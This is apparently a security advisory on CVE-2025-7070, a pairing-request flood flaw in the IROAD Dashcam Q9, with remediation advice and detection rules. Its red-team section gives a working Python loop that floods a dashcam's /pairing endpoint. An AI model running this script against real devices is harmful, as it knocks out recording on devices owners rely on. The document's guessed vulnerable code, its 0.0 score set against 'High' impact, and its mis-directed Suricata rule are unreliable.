CVE-2025-7070

Executive Summary

CVE-2025-7070 is a resource allocation vulnerability in IROAD Dashcam Q9 firmware up to 20250624. The flaw resides in the MFA Pairing Request Handler, allowing an attacker on the local network to exhaust device resources, potentially causing denial of service (DoS). The vendor was contacted but did not respond, leaving the device unpatched. With a CVSS score of 0.0 (unscored) and EPSS at 0.0%, exploitation is currently theoretical but poses a risk in IoT environments where dashcams are deployed on shared networks.

Supply Chain & Package Security

Not applicable (hardware IoT device).

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (unscored by NVD)
• Attack Vector: Adjacent Network (local network required)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High
• Threat Level: Medium (due to local network requirement but no patch available)

Deep Dive & Mechanics

The vulnerability is in the MFA Pairing Request Handler of the IROAD Dashcam Q9. The handler does not properly limit the number of pairing requests, leading to uncontrolled resource allocation. An attacker can flood the device with pairing requests, exhausting memory or CPU, causing the dashcam to become unresponsive or reboot. This is a classic CWE-770 (Allocation of Resources Without Limits or Throttling). The attack requires local network access, typical for IoT devices on home or enterprise Wi-Fi.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code likely lacks rate limiting or resource quotas in the MFA pairing handler. A hypothetical patch would add request throttling or a maximum pending request queue.

Vulnerable (pseudocode):

def handle_mfa_pairing(request):
    # No rate limiting
    process_pairing(request)
    allocate_resources()

Patched (pseudocode):

def handle_mfa_pairing(request):
    if request_count > MAX_REQUESTS_PER_MINUTE:
        return "429 Too Many Requests"
    process_pairing(request)
    allocate_resources()

Exploitation & Lab Setup

Red Team

1. Reconnaissance: Scan local network for IROAD dashcams (port 80, 443, or custom ports).
2. Exploitation: Send a high volume of MFA pairing requests using a script.
3. Impact: Device becomes unresponsive, dashcam footage may stop recording.

Example exploit script (Python):

import socket
import time

target_ip = "192.168.1.100"
target_port = 80

payload = b"POST /pairing HTTP/1.1\r\nHost: " + target_ip.encode() + b"\r\n\r\n"

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target_ip, target_port))
        s.send(payload)
        s.close()
    except:
        pass
    time.sleep(0.01)

Blue Team

• Monitor network traffic for excessive pairing requests from a single source.
• Implement network segmentation to isolate dashcams from critical systems.
• Use IDS/IPS to detect and block flooding patterns.

Indicators of Compromise (IOCs)

• Network: High volume of HTTP POST requests to /pairing endpoint from a single IP.
• Device: Dashcam logs showing repeated pairing attempts.
• System: Dashcam unresponsive or rebooting frequently.

Detection Engineering

YARA Rule

rule IROAD_MFA_Flood {
    meta:
        description = "Detects MFA pairing flood attempts against IROAD dashcam"
        author = "Valters IT"
        date = "2025-07-01"
    strings:
        $pairing = "POST /pairing" ascii
        $host = "Host:" ascii
    condition:
        #pairing > 100 and #host > 100
}

Sigma Rule

title: IROAD Dashcam MFA Pairing Flood
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects excessive MFA pairing requests to IROAD dashcam
logsource:
    category: network
    product: suricata
detection:
    selection:
        event_type: alert
        alert.signature_id: 1000001
    condition: selection
falsepositives:
    - Legitimate pairing attempts
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET 80 (msg:"IROAD MFA Pairing Flood"; flow:to_server; content:"POST"; http_method; content:"/pairing"; http_uri; threshold: type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Isolate dashcams on a separate VLAN with strict firewall rules.
• Short-term: Monitor for unusual pairing request patterns and block offending IPs.
• Long-term: Contact IROAD for a firmware patch. If unresponsive, consider replacing the device with a more secure alternative.
• Compensating Controls: Deploy network-based rate limiting or a WAF in front of the dashcam.

Valters IT